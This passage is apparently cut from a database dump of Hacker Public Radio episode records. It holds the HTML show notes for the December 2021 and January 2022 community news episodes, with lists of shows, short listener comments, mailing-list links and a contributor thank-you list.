<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3473#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2021-12-02:\n\"UGH!  Correction.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3474#comments\" target=\"_blank\">hpr3474</a></strong>\n(2021-11-25) \"<em>H P R and Audio Fun</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3474#2\" target=\"_blank\">Comment 2</a>:\nOperat0r on 2021-12-06:\n\"replace Ken Fallon with a script\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3474#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2021-12-07:\n\"Thanks for Volunteering\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3474#4\" target=\"_blank\">Comment 4</a>:\nOperat0r on 2021-12-10:\n\"fun\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 8 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3478#comments\" target=\"_blank\">hpr3478</a></strong>\n(2021-12-01) \"<em>Audio Wiring Hack on a Classroom Podium</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3478#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-12-01:\n\"I am sure the Audio/Video department loves you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3479#comments\" target=\"_blank\">hpr3479</a></strong>\n(2021-12-02) \"<em>Linux Inlaws S01E49: Version Control Systems and why bother</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3479#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-12-02:\n\"Thanks for sharing.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3482#comments\" target=\"_blank\">hpr3482</a></strong>\n(2021-12-07) \"<em>Introduction to Post Apocalyptic Robotics Meta Technology</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3482#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2021-12-30:\n\"Fascinating subject\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3485#comments\" target=\"_blank\">hpr3485</a></strong>\n(2021-12-10) \"<em>50 years since the 1st Edition of Unix was published</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3485#1\" target=\"_blank\">Comment 1</a>:\nmonochromec on 2021-11-24:\n\"The show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3493#comments\" target=\"_blank\">hpr3493</a></strong>\n(2021-12-22) \"<em>My First Spanish HPR Episode</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3493#1\" target=\"_blank\">Comment 1</a>:\nDNT on 2021-12-04:\n\"Great episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3493#2\" target=\"_blank\">Comment 2</a>:\nOyente#1 on 2021-12-25:\n\"Gracias\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3495#comments\" target=\"_blank\">hpr3495</a></strong>\n(2021-12-24) \"<em>Podcast Recommendation: The Retroist</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3495#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-12-24:\n\"Great recommendation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3496#comments\" target=\"_blank\">hpr3496</a></strong>\n(2021-12-27) \"<em>How I record HPR Episodes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3496#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2021-12-30:\n\"Great show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-December/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 125 additional shows in the range 1-870 have been uploaded.</p>\n<p>The number of shows left to upload in this range is now: 244.</p>\n<h3>\nThanks to all HPR contributors in 2021!\n</h3>\n<p>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\">2BFrank</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=393\">Anonymous Host</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=138\">arfab</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\">b-yeezi</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\">BlacKernel</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\">Brian in Ohio</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\">clacke</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">Claudio Miranda</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\">Clinton Roy</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=395\">CoGo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\">crvs</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\">Daniel Persson</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\">deepgeek</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\">dnt</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\">Enigma</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=397\">hakerdefo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\">Honkeymagoo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">Jezra</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\">Mechatroniac</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\">minnix</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\">monochromec</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\">Nihilazo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\">norrist</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=390\">o9l</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\">one_of_spoons</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\">operat0r</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\">Paul Quirk</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\">Quvmoh</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\">sigflup</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\">Some Guy On The Internet</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\">swift110</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\">Thaj Sara</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\">thelovebug</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\">timttmy</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\">ToeJet</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\">Trey</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\">TrumpetJohn</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\">tuturto</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\">Zen_Floater2</a>.\n</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3526,'2022-02-07','HPR Community News for January 2022',2626,'HPR Volunteers talk about shows released and comments posted in January 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\np#ignore, li#ignore {\n    background-color: lightgreen;\n    color:maroon;\n}\ndiv#highlight {\n  border-style: solid;\n  border-color: red;\n  padding-right: 20px;\n  padding-left: 20px;\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3501\" target=\"_blank\">3501</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-01-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3501\" target=\"_blank\">HPR Community News for December 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3502\" target=\"_blank\">3502</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-01-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3502\" target=\"_blank\">New year Greetings and a short review of my new Juno PC</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3503\" target=\"_blank\">3503</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-01-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3503\" target=\"_blank\">Configuring Mumble</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3504\" target=\"_blank\">3504</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-01-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3504\" target=\"_blank\">James Webb Space Telescope</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3505\" target=\"_blank\">3505</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-01-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3505\" target=\"_blank\">A DX with Hotel Bravo 9 Hotel November Tango</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\" target=\"_blank\">beni</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3506\" target=\"_blank\">3506</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-01-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3506\" target=\"_blank\">HPR CONTEST 2022 01</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3507\" target=\"_blank\">3507</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-01-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3507\" target=\"_blank\">USB Turntable fix and sound journey</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3508\" target=\"_blank\">3508</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-01-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3508\" target=\"_blank\">Differences between C# and Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3509\" target=\"_blank\">3509</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-01-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3509\" target=\"_blank\">Linux Inlaws S01E46: The Matrix Project (Without Neo)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3510\" target=\"_blank\">3510</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-01-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3510\" target=\"_blank\">Syntax, Switches, and Help</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3511\" target=\"_blank\">3511</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-01-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3511\" target=\"_blank\">Podman like Vagrant</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3512\" target=\"_blank\">3512</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-01-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3512\" target=\"_blank\">Auld Acquaintance</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3513\" target=\"_blank\">3513</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-01-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3513\" target=\"_blank\">HB9HNT and PA7KEN on SOTA, Summits on the Air</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\" target=\"_blank\">beni</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3514\" target=\"_blank\">3514</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-01-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3514\" target=\"_blank\">Hacking Stories: Soft Drink</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3515\" target=\"_blank\">3515</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-01-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3515\" target=\"_blank\">ADB and scrcpy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3516\" target=\"_blank\">3516</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-01-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3516\" target=\"_blank\">Rant about RX</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3517\" target=\"_blank\">3517</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-01-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3517\" target=\"_blank\">Hp stream laptop with Lubuntu 20.04</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3518\" target=\"_blank\">3518</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-01-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3518\" target=\"_blank\">Linux Inlaws S01E47: BigBlueButton and NAT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3519\" target=\"_blank\">3519</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-01-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3519\" target=\"_blank\">Rust 101: Episode 2 - Rolling With the Errors</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3520\" target=\"_blank\">3520</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-01-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3520\" target=\"_blank\">Inversion Layer Modes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3521\" target=\"_blank\">3521</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-01-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3521\" target=\"_blank\">Upgrades to Acer Aspire 5 Slim</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 9 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3322#comments\" target=\"_blank\">hpr3322</a></strong>\n(2021-04-27) \"<em>Tune system performance with tuned</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3322#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-01-21:\n\"Lost udev episode\"\n<br/><hr class=\"thin\">I was surprised to hear you say you\'ve never done an episode on udev, because I distinctly remember that episode! You were discussing creating your own udev rules to automatically run tasks upon inserting a USB drive.<br />\n<br />\nIt may be that you\'ve never done an episode on HPR about it; I can\'t find it for the life of me.<br />\n<br />\nEither way, thank you - as always - for the excellent episode. :)\n</li><br/></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3485#comments\" target=\"_blank\">hpr3485</a></strong>\n(2021-12-10) \"<em>50 years since the 1st Edition of Unix was published</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3485#2\" target=\"_blank\">Comment 2</a>:\nwynaut on 2022-01-07:\n\"thanks great show\"\n<br/><hr class=\"thin\">agree with prev comment, listener who just turned 51 :)\n</li><br/></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3496#comments\" target=\"_blank\">hpr3496</a></strong>\n(2021-12-27) \"<em>How I record HPR Episodes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3496#2\" target=\"_blank\">Comment 2</a>:\nReto on 2022-01-09:\n\"a good idea\"\n<br/><hr class=\"thin\">Hi,<br />\nThank you for this program and the introduction as a podcast.<br />\n<br />\nI just downloaded the .zip from GitLab and while trying the commands, I realize a section with dependencies is missing. I think pip is too large, so, I usually do run it in an virtualenv.<br />\nIn other Phython projects like here: https://github.com/jonaswinkler/paperless-ng/blob/master/requirements.txt you find a requirements.txt. I was wondering if you add one too?<br />\n<br />\nBr,<br />\nReto\n</li><br/></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3498#comments\" target=\"_blank\">hpr3498</a></strong>\n(2021-12-29) \"<em>Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpies</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3498#1\" target=\"_blank\">Comment 1</a>:\noperat0r on 2022-01-09:\n\"Love this show\"\n<br/><hr class=\"thin\">reminds me a little bit of udev random  podcast. this one had a lot of laughs! You guys are my friends for now. Mine won\'t do anything.. Holidays  are hard for some/most people. Shooting the shit and ranting are my fav podcast eps!<br />\n<br />\nTake care of yourselves! your the only U you have!\n</li><br/></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 5 comments on 5 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3504#comments\" target=\"_blank\">hpr3504</a></strong>\n(2022-01-06) \"<em>James Webb Space Telescope</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3504#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-01-06:\n\"Mission control\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3505#comments\" target=\"_blank\">hpr3505</a></strong>\n(2022-01-07) \"<em>A DX with Hotel Bravo 9 Hotel November Tango</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\" target=\"_blank\">beni</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3505#1\" target=\"_blank\">Comment 1</a>:\nbaffled on 2022-01-11:\n\"Nice show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3510#comments\" target=\"_blank\">hpr3510</a></strong>\n(2022-01-14) \"<em>Syntax, Switches, and Help</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3510#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2022-01-17:\n\"This brought some memories\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3516#comments\" target=\"_blank\">hpr3516</a></strong>\n(2022-01-24) \"<em>Rant about RX</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3516#1\" target=\"_blank\">Comment 1</a>:\nJanedoc on 2022-01-26:\n\"empathize with you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3517#comments\" target=\"_blank\">hpr3517</a></strong>\n(2022-01-25) \"<em>Hp stream laptop with Lubuntu 20.04</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3517#1\" target=\"_blank\">Comment 1</a>:\nJesse on 2022-01-25:\n\"Monty Mint phone\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-January/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 120 additional shows in the range 1-870 have been uploaded.</p>\n<p>The number of shows left to upload in this range is now: 124.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3227,'2020-12-15','Fresh water Aquarium Basics',1589,'Enigma discusses the high level basics of getting into the aquarium hobby','<p>Enigma discusses the high level basics of getting into the aquarium hobby and what to consider when purchasing your first aquarium.</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/API-FRESHWATER-800-Test-Freshwater-Aquarium/dp/B000255NCI/ref=asc_df_B000255NCI/?tag=hyprod-20&linkCode=df0&hvadid=198072615033&hvpos=&hvnetw=g&hvrand=14659243461056273975&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9012091&hvtargid=pla-348697791053&psc=1\"> API Test kit </a></li>\r\n<li><a 